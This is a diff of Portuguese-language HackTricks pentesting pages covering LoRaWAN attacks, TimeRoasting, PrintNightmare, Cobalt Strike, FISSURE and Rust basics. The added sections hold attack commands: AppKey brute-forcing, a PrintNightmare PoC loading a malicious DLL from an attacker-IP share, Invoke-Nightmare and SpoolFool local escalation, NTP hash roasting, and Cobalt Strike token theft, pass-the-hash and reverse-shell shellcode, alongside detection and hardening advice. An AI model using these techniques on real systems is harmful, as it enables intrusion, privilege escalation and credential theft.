+O framework e as ferramentas incluídas no FISSURE são projetados para detectar a presença de energia de RF, entender as características de um sinal, coletar e analisar amostras, desenvolver técnicas de transmissão e/ou injeção e criar cargas úteis ou mensagens personalizadas. FISSURE contém uma biblioteca crescente de informações sobre protocolos e sinais para auxiliar na identificação, criação de pacotes e fuzzing. Existem capacidades de arquivo online para baixar arquivos de sinal e construir playlists para simular tráfego e testar sistemas.
 
 A base de código Python amigável e a interface do usuário permitem que iniciantes aprendam rapidamente sobre ferramentas e técnicas populares envolvendo RF e engenharia reversa. Educadores em cibersegurança e engenharia podem aproveitar o material embutido ou utilizar o framework para demonstrar suas próprias aplicações do mundo real. Desenvolvedores e pesquisadores podem usar o FISSURE para suas tarefas diárias ou para expor suas soluções de ponta a um público mais amplo. À medida que a conscientização e o uso do FISSURE crescem na comunidade, também crescerá a extensão de suas capacidades e a abrangência da tecnologia que abrange.
 
@@ -52,7 +52,7 @@ git checkout <Python2_maint-3.7> or <Python3_maint-3.8> or <Python3_maint-3.10>
 git submodule update --init
 ./install
 ```
-Isso instalará as dependências de software PyQt necessárias para lançar as GUIs de instalação, caso não sejam encontradas.
+Isso instalará as dependências de software PyQt necessárias para iniciar as GUIs de instalação, caso não sejam encontradas.
 
 Em seguida, selecione a opção que melhor corresponde ao seu sistema operacional (deve ser detectado automaticamente se o seu SO corresponder a uma opção).
 
@@ -60,7 +60,7 @@ Em seguida, selecione a opção que melhor corresponde ao seu sistema operaciona
 | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: |
 | ![install1b](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1b.png) | ![install1a](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1a.png) | ![install1c](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1c.png) |
 
-Recomenda-se instalar o FISSURE em um sistema operacional limpo para evitar conflitos existentes. Selecione todas as caixas de seleção recomendadas (botão padrão) para evitar erros ao operar as várias ferramentas dentro do FISSURE. Haverá vários prompts durante a instalação, principalmente solicitando permissões elevadas e nomes de usuário. Se um item contiver uma seção "Verificar" no final, o instalador executará o comando que se segue e destacará o item da caixa de seleção em verde ou vermelho, dependendo se algum erro for produzido pelo comando. Itens marcados sem uma seção "Verificar" permanecerão pretos após a instalação.
+Recomenda-se instalar o FISSURE em um sistema operacional limpo para evitar conflitos existentes. Selecione todas as caixas de seleção recomendadas (botão padrão) para evitar erros ao operar as várias ferramentas dentro do FISSURE. Haverá vários prompts durante a instalação, principalmente pedindo permissões elevadas e nomes de usuário. Se um item contiver uma seção "Verificar" no final, o instalador executará o comando que se segue e destacará o item da caixa de seleção em verde ou vermelho, dependendo se algum erro for produzido pelo comando. Itens marcados sem uma seção "Verificar" permanecerão pretos após a instalação.
 
 ![install2](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install2.png)
 
@@ -86,10 +86,10 @@ Refer-se ao menu de Ajuda do FISSURE para mais detalhes sobre o uso.
 
 **Capacidades**
 
-| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Detector de Sinal**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**Manipulação de IQ**_      | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Busca de Sinal**_          | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Reconhecimento de Padrão**_ |
+| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Detector de Sinal**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**Manipulação de IQ**_      | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Busca de Sinal**_          | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Reconhecimento de Padrões**_ |
 | --------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
 | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Ataques**_           | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_         | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Playlists de Sinal**_       | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Galeria de Imagens**_  |
-| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Criação de Pacotes**_   | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Integração Scapy**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**Calculadora CRC**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Registro**_            |
+| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Criação de Pacotes**_   | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Integração com Scapy**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**Calculadora de CRC**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Registro**_            |
 
 **Hardware**
 
@@ -175,12 +175,10 @@ Desenvolvimento de Negócios - Assured Information Security, Inc. - bd@ainfosec.
 
 Agradecemos e somos gratos a esses desenvolvedores:
 
-[Credits](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/CREDITS.md)
+[Créditos](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/CREDITS.md)
 
 ## Agradecimentos
 
 Agradecimentos especiais a Dr. Samuel Mantravadi e Joseph Reith por suas contribuições a este projeto.
 
-
-
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/todo/radio-hacking/low-power-wide-area-network.md

@@ -4,13 +4,91 @@
 
 ## Introdução
 
-**Rede de Área Ampla de Baixa Potência** (LPWAN) é um grupo de tecnologias de rede sem fio, de baixa potência e de área ampla, projetadas para **comunicações de longo alcance** a uma baixa taxa de bits.\
-Elas podem alcançar mais de **seis milhas** e suas **baterias** podem durar até **20 anos**.
+**Rede de Área Ampla de Baixa Potência** (LPWAN) é um grupo de tecnologias de rede sem fio, de baixa potência e de área ampla, projetadas para **comunicações de longo alcance** a uma baixa taxa de bits. Elas podem alcançar mais de **seis milhas** e suas **baterias** podem durar até **20 anos**.
 
-Long Range (**LoRa**) é popular em vários países e possui uma especificação de código aberto chamada **LoRaWAN**.
+Long Range (**LoRa**) é atualmente a camada física LPWAN mais implantada e sua especificação de camada MAC aberta é **LoRaWAN**.
 
-### LPWAN, LoRa e LoRaWAN
+---
 
-[https://github.com/IOActive/laf](https://github.com/IOActive/laf)
+## LPWAN, LoRa e LoRaWAN
 
+* LoRa – Camada física Chirp Spread Spectrum (CSS) desenvolvida pela Semtech (proprietária, mas documentada).
+* LoRaWAN – Camada MAC/rede aberta mantida pela LoRa-Alliance. As versões 1.0.x e 1.1 são comuns no campo.
+* Arquitetura típica: *dispositivo final → gateway (encaminhador de pacotes) → servidor de rede → servidor de aplicação*.
+
+> O **modelo de segurança** depende de duas chaves raiz AES-128 (AppKey/NwkKey) que derivam chaves de sessão durante o procedimento de *junção* (OTAA) ou são codificadas (ABP). Se qualquer chave vazar, o atacante ganha capacidade total de leitura/gravação sobre o tráfego correspondente.
+
+---
+
+## Resumo da superfície de ataque
+
+| Camada | Fraqueza | Impacto prático |
+|--------|----------|------------------|
+| PHY    | Jamming reativo / seletivo | 100 % de perda de pacotes demonstrada com um único SDR e <1 W de saída |
+| MAC    | Repetição de Join-Accept & data-frame (reutilização de nonce, rollover de contador ABP) | Spoofing de dispositivo, injeção de mensagem, DoS |
+| Servidor de Rede | Encaminhador de pacotes inseguro, filtros MQTT/UDP fracos, firmware de gateway desatualizado | RCE em gateways → pivotar para a rede OT/IT |
+| Aplicação | AppKeys codificadas ou previsíveis | Força bruta/descriptografar tráfego, impersonar sensores |
+
+---
+
+## Vulnerabilidades recentes (2023-2025)
+
+* **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* aceitou pacotes TCP que contornaram regras de firewall com estado em gateways Kerlink, permitindo a exposição da interface de gerenciamento remoto. Corrigido em 4.0.11 / 4.2.1, respectivamente.
+* **Série Dragino LG01/LG308** – Múltiplas CVEs de 2022-2024 (por exemplo, 2022-45227 travessia de diretório, 2022-45228 CSRF) ainda observadas sem correção em 2025; habilitar despejo de firmware não autenticado ou sobrescrita de configuração em milhares de gateways públicos.
+* Overflow de *encaminhador de pacotes UDP* da Semtech (aviso não lançado, corrigido em 2023-10): uplink elaborado maior que 255 B acionou stack-smash ‑> RCE em gateways de referência SX130x (encontrado pela Black Hat EU 2023 “LoRa Exploitation Reloaded”).
+
+---
+
+## Técnicas práticas de ataque
+
+### 1. Capturar e descriptografar tráfego
+```bash
+# Capture all channels around 868.3 MHz with an SDR (USRP B205)
+python3 lorattack/sniffer.py \
+--freq 868.3e6 --bw 125e3 --rate 1e6 --sf 7 --session smartcity
+
+# Bruteforce AppKey from captured OTAA join-request/accept pairs
+python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
+```
+### 2. OTAA join-replay (reutilização de DevNonce)
+
+1. Capture um **JoinRequest** legítimo.
+2. Retransmita-o imediatamente (ou incremente o RSSI) antes que o dispositivo original transmita novamente.
+3. O servidor de rede aloca um novo DevAddr e chaves de sessão enquanto o dispositivo alvo continua com a sessão antiga → o atacante possui a sessão vaga e pode injetar uplinks forjados.
+
+### 3. Downgrade de Adaptive Data-Rate (ADR)
+
+Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de trabalho do gateway (negação de serviço) enquanto mantém o impacto na bateria do atacante baixo (apenas envie comandos MAC em nível de rede).
+
+### 4. Jamming reativo
+
+*HackRF One* executando o fluxo GNU Radio dispara um chirp de banda larga sempre que o preâmbulo é detectado – bloqueia todos os fatores de espalhamento com ≤200 mW TX; interrupção total medida a 2 km de distância.
+
+---
+
+## Ferramentas ofensivas (2025)
+
+| Ferramenta | Propósito | Notas |
+|-------------|-----------|-------|
+| **LoRaWAN Auditing Framework (LAF)** | Criar/analisar/atacar quadros LoRaWAN, analisadores com suporte a DB, força bruta | Imagem Docker, suporta entrada UDP Semtech |
+| **LoRaPWN** | Utilitário Python da Trend Micro para força bruta OTAA, gerar downlinks, descriptografar payloads | Demonstração lançada em 2023, SDR-agnóstico |
+| **LoRAttack** | Sniffer multi-canal + replay com USRP; exporta PCAP/LoRaTap | Boa integração com Wireshark |
+| **gr-lora / gr-lorawan** | Blocos OOT do GNU Radio para TX/RX de banda base | Fundação para ataques personalizados |
+
+---
+
+## Recomendações defensivas (checklist de pentester)
+
+1. Prefira dispositivos **OTAA** com DevNonce verdadeiramente aleatório; monitore duplicatas.
+2. Aplique **LoRaWAN 1.1**: contadores de quadro de 32 bits, FNwkSIntKey / SNwkSIntKey distintos.
+3. Armazene o contador de quadros em memória não volátil (**ABP**) ou migre para OTAA.
+4. Implemente **elemento seguro** (ATECC608A/SX1262-TRX-SE) para proteger chaves raiz contra extração de firmware.
+5. Desative portas de encaminhamento de pacotes UDP remotos (1700/1701) ou restrinja com WireGuard/VPN.
+6. Mantenha os gateways atualizados; Kerlink/Dragino fornecem imagens corrigidas de 2024.
+7. Implemente **detecção de anomalias de tráfego** (por exemplo, analisador LAF) – sinalize reinicializações de contadores, joins duplicados, mudanças súbitas de ADR.
+
+## Referências
+
+* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
+* Visão geral do Trend Micro LoRaPWN – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
 {{#include ../../banners/hacktricks-training.md}}

src/todo/rust-basics.md

@@ -1,6 +1,6 @@
-# Fundamentos do Rust
+# Rust Basics
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
 
 ### Tipos Genéricos
 
@@ -269,7 +269,7 @@ println!("{:?}", apple);
 ```
 #### Threads
 
-Neste caso, passaremos ao thread uma variável que ele poderá modificar.
+Neste caso, passaremos à thread uma variável que ela poderá modificar.
 ```rust
 fn main() {
 let status = Arc::new(Mutex::new(JobStatus { jobs_completed: 0 }));
@@ -287,4 +287,4 @@ thread::sleep(Duration::from_millis(500));
 }
 }
 ```
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

src/todo/test-llms.md

@@ -1,6 +1,6 @@
 # Testar LLMs
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
 
 ## Executar e treinar modelos localmente
 
@@ -34,7 +34,7 @@ Oferece várias seções como:
 
 * **Modelos**: Um vasto repositório de **modelos de aprendizado de máquina pré-treinados** onde os usuários podem navegar, baixar e integrar modelos para várias tarefas como geração de texto, tradução, reconhecimento de imagem e mais.
 * **Conjuntos de Dados:** Uma **coleção abrangente de conjuntos de dados** usados para treinar e avaliar modelos. Facilita o acesso fácil a diversas fontes de dados, permitindo que os usuários encontrem e utilizem dados para seus projetos específicos de aprendizado de máquina.
-* **Espaços:** Uma plataforma para hospedar e compartilhar **aplicações interativas de aprendizado de máquina** e demonstrações. Permite que os desenvolvedores **demonstrem** seus modelos em ação, criem interfaces amigáveis e colaborem com outros compartilhando demonstrações ao vivo.
+* **Espaços:** Uma plataforma para hospedar e compartilhar **aplicações interativas de aprendizado de máquina** e demonstrações. Permite que os desenvolvedores **mostrem** seus modelos em ação, criem interfaces amigáveis e colaborem com outros compartilhando demonstrações ao vivo.
 
 ## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/)
 
@@ -51,4 +51,4 @@ Oferece várias seções como:
 * **Modelos:** Um repositório de modelos de aprendizado de máquina contribuídos pela comunidade que os usuários podem navegar, experimentar e integrar modelos em suas aplicações com esforço mínimo.
 * **Acesso à API:** APIs simples para executar modelos que permitem que os desenvolvedores implantem e escalem modelos sem esforço dentro de suas próprias aplicações.
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/TimeRoasting.md

@@ -1,6 +1,6 @@
 # TimeRoasting
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 timeRoasting, a principal causa é o mecanismo de autenticação desatualizado deixado pela Microsoft em sua extensão para servidores NTP, conhecido como MS-SNTP. Nesse mecanismo, os clientes podem usar diretamente o Identificador Relativo (RID) de qualquer conta de computador, e o controlador de domínio usará o hash NTLM da conta de computador (gerado pelo MD4) como a chave para gerar o **Código de Autenticação de Mensagem (MAC)** do pacote de resposta.
 
@@ -13,9 +13,9 @@ No documento, a seção 3.1.5.1 cobre o Comportamento da Solicitação de Autent
 Pode-se ver que quando o elemento ADM ExtendedAuthenticatorSupported é definido como `false`, o formato Markdown original é mantido.
 
 > Citado no artigo original：
->> Se o elemento ADM ExtendedAuthenticatorSupported for falso, o cliente DEVE construir uma mensagem de Solicitação NTP do Cliente. O comprimento da mensagem de Solicitação NTP do Cliente é de 68 bytes. O cliente define o campo Authenticator da mensagem de Solicitação NTP do Cliente conforme descrito na seção 2.2.1, escrevendo os 31 bits menos significativos do valor RID nos 31 bits menos significativos do subcampo Identificador da Chave do autenticador, e então escrevendo o valor do Seletor de Chave no bit mais significativo do subcampo Identificador da Chave.
+>> Se o elemento ADM ExtendedAuthenticatorSupported for falso, o cliente DEVE construir uma mensagem de Solicitação NTP do Cliente. O comprimento da mensagem de Solicitação NTP do Cliente é de 68 bytes. O cliente define o campo Autenticador da mensagem de Solicitação NTP do Cliente conforme descrito na seção 2.2.1, escrevendo os 31 bits menos significativos do valor RID nos 31 bits menos significativos do subcampo Identificador da Chave do autenticador, e então escrevendo o valor do Seletor de Chave no bit mais significativo do subcampo Identificador da Chave.
 
-Na seção 4 Exemplos de Protocolo ponto 3
+Na seção 4 do documento Exemplos de Protocolo ponto 3
 
 > Citado no artigo original：
 >> 3. Após receber a solicitação, o servidor verifica se o tamanho da mensagem recebida é de 68 bytes. Se não for, o servidor descarta a solicitação (se o tamanho da mensagem não for igual a 48 bytes) ou a trata como uma solicitação não autenticada (se o tamanho da mensagem for 48 bytes). Supondo que o tamanho da mensagem recebida seja de 68 bytes, o servidor extrai o RID da mensagem recebida. O servidor o utiliza para chamar o método NetrLogonComputeServerDigest (conforme especificado na seção 3.5.4.8.2 do [MS-NRPC]) para calcular os checksums criptográficos e selecionar o checksum criptográfico com base no bit mais significativo do subcampo Identificador da Chave da mensagem recebida, conforme especificado na seção 3.2.5. O servidor então envia uma resposta ao cliente, definindo o campo Identificador da Chave como 0 e o campo Crypto-Checksum como o checksum criptográfico calculado.
@@ -23,7 +23,7 @@ Na seção 4 Exemplos de Protocolo ponto 3
 De acordo com a descrição no documento oficial da Microsoft acima, os usuários não precisam de nenhuma autenticação; eles apenas precisam preencher o RID para iniciar uma solicitação e, em seguida, podem obter o checksum criptográfico. O checksum criptográfico é explicado na seção 3.2.5.1.1 do documento.
 
 > Citado no artigo original：
->> O servidor recupera o RID dos 31 bits menos significativos do subcampo Identificador da Chave do campo Authenticator da mensagem de Solicitação NTP do Cliente. O servidor usa o método NetrLogonComputeServerDigest (conforme especificado na seção 3.5.4.8.2 do [MS-NRPC]) para calcular checksums criptográficos com os seguintes parâmetros de entrada:
+>> O servidor recupera o RID dos 31 bits menos significativos do subcampo Identificador da Chave do campo Autenticador da mensagem de Solicitação NTP do Cliente. O servidor usa o método NetrLogonComputeServerDigest (conforme especificado na seção 3.5.4.8.2 do [MS-NRPC]) para calcular checksums criptográficos com os seguintes parâmetros de entrada:
 >>>![](../../images/Pasted%20image%2020250709115757.png)
 
 O checksum criptográfico é calculado usando MD5, e o processo específico pode ser consultado no conteúdo do documento. Isso nos dá a oportunidade de realizar um ataque de roasting.
@@ -37,4 +37,4 @@ Citar para https://swisskyrepo.github.io/InternalAllTheThings/active-directory/a
 sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
 hashcat -m 31300 ntp-hashes.txt
 ```
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/printnightmare.md

@@ -1,7 +1,98 @@
-# PrintNightmare
+# PrintNightmare (Windows Print Spooler RCE/LPE)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Confira este incrível post de blog sobre PrintNightmare em 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
+> PrintNightmare é o nome coletivo dado a uma família de vulnerabilidades no serviço **Print Spooler** do Windows que permitem **execução de código arbitrário como SYSTEM** e, quando o spooler é acessível via RPC, **execução remota de código (RCE) em controladores de domínio e servidores de arquivos**. As CVEs mais exploradas são **CVE-2021-1675** (inicialmente classificada como LPE) e **CVE-2021-34527** (RCE completo). Problemas subsequentes, como **CVE-2021-34481 (“Point & Print”)** e **CVE-2022-21999 (“SpoolFool”)**, provam que a superfície de ataque ainda está longe de ser fechada.
 
+---
+
+## 1. Componentes vulneráveis & CVEs
+
+| Ano | CVE | Nome curto | Primitiva | Notas |
+|------|-----|------------|-----------|-------|
+|2021|CVE-2021-1675|“PrintNightmare #1”|LPE|Corrigido em junho de 2021 CU, mas contornado pela CVE-2021-34527|
+|2021|CVE-2021-34527|“PrintNightmare”|RCE/LPE|AddPrinterDriverEx permite que usuários autenticados carreguem um driver DLL de um compartilhamento remoto|
+|2021|CVE-2021-34481|“Point & Print”|LPE|Instalação de driver não assinado por usuários não administradores|
+|2022|CVE-2022-21999|“SpoolFool”|LPE|Criação arbitrária de diretórios → Plantio de DLL – funciona após os patches de 2021|
+
+Todos eles abusam de um dos métodos **MS-RPRN / MS-PAR RPC** (`RpcAddPrinterDriver`, `RpcAddPrinterDriverEx`, `RpcAsyncAddPrinterDriver`) ou relações de confiança dentro do **Point & Print**.
+
+## 2. Técnicas de exploração
+
+### 2.1 Comprometimento remoto do Controlador de Domínio (CVE-2021-34527)
+
+Um usuário de domínio autenticado, mas **não privilegiado**, pode executar DLLs arbitrárias como **NT AUTHORITY\SYSTEM** em um spooler remoto (geralmente o DC) por:
+```powershell
+# 1. Host malicious driver DLL on a share the victim can reach
+impacket-smbserver share ./evil_driver/ -smb2support
+
+# 2. Use a PoC to call RpcAddPrinterDriverEx
+python3 CVE-2021-1675.py victim_DC.domain.local  'DOMAIN/user:Password!' \
+-f \
+'\\attacker_IP\share\evil.dll'
+```
+PoCs populares incluem **CVE-2021-1675.py** (Python/Impacket), **SharpPrintNightmare.exe** (C#) e os módulos `misc::printnightmare / lsa::addsid` de Benjamin Delpy no **mimikatz**.
+
+### 2.2 Escalação de privilégios local (qualquer Windows suportado, 2021-2024)
+
+A mesma API pode ser chamada **localmente** para carregar um driver de `C:\Windows\System32\spool\drivers\x64\3\` e obter privilégios de SYSTEM:
+```powershell
+Import-Module .\Invoke-Nightmare.ps1
+Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
+```
+### 2.3 SpoolFool (CVE-2022-21999) – contornando correções de 2021
+
+Os patches de 2021 da Microsoft bloquearam o carregamento remoto de drivers, mas **não endureceram as permissões de diretório**. SpoolFool explora o parâmetro `SpoolDirectory` para criar um diretório arbitrário em `C:\Windows\System32\spool\drivers\`, coloca uma DLL de payload e força o spooler a carregá-la:
+```powershell
+# Binary version (local exploit)
+SpoolFool.exe -dll add_user.dll
+
+# PowerShell wrapper
+Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
+```
+> A exploração funciona em Windows 7 → Windows 11 totalmente corrigidos e Server 2012R2 → 2022 antes das atualizações de fevereiro de 2022
+
+---
+
+## 3. Detecção e caça
+
+* **Logs de Eventos** – habilite os canais *Microsoft-Windows-PrintService/Operational* e *Admin* e fique atento ao **ID do Evento 808** “O spooler de impressão falhou ao carregar um módulo plug-in” ou para mensagens **RpcAddPrinterDriverEx**.
+* **Sysmon** – `ID do Evento 7` (Imagem carregada) ou `11/23` (Escrita/exclusão de arquivo) dentro de `C:\Windows\System32\spool\drivers\*` quando o processo pai é **spoolsv.exe**.
+* **Linhas de processo** – alertas sempre que **spoolsv.exe** gera `cmd.exe`, `rundll32.exe`, PowerShell ou qualquer binário não assinado.
+
+## 4. Mitigação e endurecimento
+
+1. **Atualize!** – Aplique a atualização cumulativa mais recente em cada host Windows que tenha o serviço Print Spooler instalado.
+2. **Desative o spooler onde não for necessário**, especialmente em Controladores de Domínio:
+```powershell
+Stop-Service Spooler -Force
+Set-Service Spooler -StartupType Disabled
+```
+3. **Bloqueie conexões remotas** enquanto ainda permite impressão local – Política de Grupo: `Configuração do Computador → Modelos Administrativos → Impressoras → Permitir que o Spooler de Impressão aceite conexões de clientes = Desativado`.
+4. **Restringir Point & Print** para que apenas administradores possam adicionar drivers definindo o valor do registro:
+```cmd
+reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
+/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
+```
+Orientação detalhada na Microsoft KB5005652
+
+---
+
+## 5. Pesquisa / ferramentas relacionadas
+
+* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) módulos
+* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
+* Exploit SpoolFool e relatório
+* Micropatches 0patch para SpoolFool e outros bugs do spooler
+
+---
+
+**Mais leitura (externo):** Confira o post do blog de 2024 – [Understanding PrintNightmare Vulnerability](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)
+
+## Referências
+
+* Microsoft – *KB5005652: Gerenciar novo comportamento de instalação de driver padrão do Point & Print*
+<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>
+* Oliver Lyak – *SpoolFool: CVE-2022-21999*
+<https://github.com/ly4k/SpoolFool>
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/cobalt-strike.md

@@ -1,6 +1,6 @@
 # Cobalt Strike
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
 
 ### Escutadores
 
@@ -14,8 +14,8 @@ Os beacons desses escutadores não precisam se comunicar diretamente com o C2, e
 
 `Cobalt Strike -> Escutadores -> Adicionar/Editar` então você precisa selecionar os beacons TCP ou SMB
 
-* O **beacon TCP irá configurar um escutador na porta selecionada**. Para se conectar a um beacon TCP use o comando `connect <ip> <port>` de outro beacon
-* O **beacon smb irá escutar em um pipename com o nome selecionado**. Para se conectar a um beacon SMB você precisa usar o comando `link [target] [pipe]`.
+* O **beacon TCP irá configurar um escutador na porta selecionada**. Para se conectar a um beacon TCP, use o comando `connect <ip> <port>` de outro beacon
+* O **beacon smb irá escutar em um pipename com o nome selecionado**. Para se conectar a um beacon SMB, você precisa usar o comando `link [target] [pipe]`.
 
 ### Gerar e Hospedar payloads
 
@@ -60,10 +60,10 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
 ## Importar módulo Powershell
 powershell-import C:\path\to\PowerView.ps1
 powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
-powershell <apenas escreva o cmd do powershell aqui> # Isso usa a versão mais alta do powershell suportada (não oppsec)
+powershell <apenas escreva o cmd powershell aqui> # Isso usa a versão mais alta do powershell suportada (não oppsec)
 powerpick <cmdlet> <args> # Isso cria um processo sacrificial especificado por spawnto, e injeta UnmanagedPowerShell nele para melhor opsec (sem registro)
 powerpick Invoke-PrivescAudit | fl
-psinject <pid> <arch> <commandlet> <arguments> # Isso injeta UnmanagedPowerShell no processo especificado para executar o cmdlet do PowerShell.
+psinject <pid> <arch> <commandlet> <arguments> # Isso injeta UnmanagedPowerShell no processo especificado para executar o cmdlet PowerShell.
 
 
 # Impersonação de usuário
@@ -85,13 +85,13 @@ steal_token [pid] # Além disso, isso é útil para ações de rede, não açõe
 ls \\computer_name\c$ # Tentar usar o token gerado para acessar C$ em um computador
 rev2self # Parar de usar o token de steal_token
 
-## Iniciar processo com novas credenciais
+## Lançar processo com novas credenciais
 spawnas [domain\username] [password] [listener] #Faça isso a partir de um diretório com acesso de leitura como: cd C:\
 ## Como make_token, isso gerará o evento Windows 4624: Uma conta foi logada com sucesso, mas com um tipo de logon de 2 (LOGON32_LOGON_INTERACTIVE). Ele detalhará o usuário chamador (TargetUserName) e o usuário impersonado (TargetOutboundUserName).
 
 ## Injetar em processo
 inject [pid] [x64|x86] [listener]
-## Do ponto de vista de OpSec: Não execute injeção entre plataformas, a menos que realmente precise (por exemplo, x86 -> x64 ou x64 -> x86).
+## Do ponto de vista de OpSec: Não realize injeção entre plataformas a menos que realmente precise (por exemplo, x86 -> x64 ou x64 -> x86).
 
 ## Pass the hash
 ## Este processo de modificação requer patching da memória do LSASS, o que é uma ação de alto risco, requer privilégios de administrador local e não é muito viável se o Protected Process Light (PPL) estiver habilitado.
@@ -100,7 +100,7 @@ pth [DOMAIN\user] [NTLM hash]
 
 ## Pass the hash através do mimikatz
 mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
-## Sem /run, o mimikatz gera um cmd.exe, se você estiver executando como um usuário com Desktop, ele verá o shell (se você estiver executando como SYSTEM, você está livre para ir)
+## Sem /run, o mimikatz gera um cmd.exe, se você estiver executando como um usuário com Desktop, ele verá o shell (se você estiver executando como SYSTEM, você está livre para prosseguir)
 steal_token <pid> #Roubar token do processo criado pelo mimikatz
 
 ## Pass the ticket
@@ -124,7 +124,7 @@ steal_token <pid>
 execute-assembly C:\path\Rubeus.exe triage
 ### Dump insteresting ticket by luid
 execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
-### Criar nova sessão de logon, note luid e processid
+### Criar nova sessão de logon, anotar luid e processid
 execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
 ### Inserir ticket na sessão de logon gerada
 execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
@@ -175,7 +175,7 @@ msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw
 ps
 shinject <pid> x64 C:\Payloads\msf.bin #Injetar shellcode do metasploit em um processo x64
 
-# Passar sessão do metasploit para cobalt strike
+# Passar sessão do metasploit para o cobalt strike
 ## Gere shellcode Beacon stageless, vá para Ataques > Pacotes > Windows Executable (S), selecione o listener desejado, selecione Raw como o tipo de saída e selecione Usar payload x64.
 ## Use post/windows/manage/shellcode_inject no metasploit para injetar o shellcode gerado do cobalt strike
 
@@ -191,23 +191,23 @@ beacon> ssh 10.10.17.12:22 username password</code></pre>
 
 ### Execute-Assembly
 
-O **`execute-assembly`** usa um **processo sacrificial** utilizando injeção de processo remoto para executar o programa indicado. Isso é muito barulhento, pois para injetar dentro de um processo, certas APIs do Windows são usadas que todos os EDRs estão verificando. No entanto, existem algumas ferramentas personalizadas que podem ser usadas para carregar algo no mesmo processo:
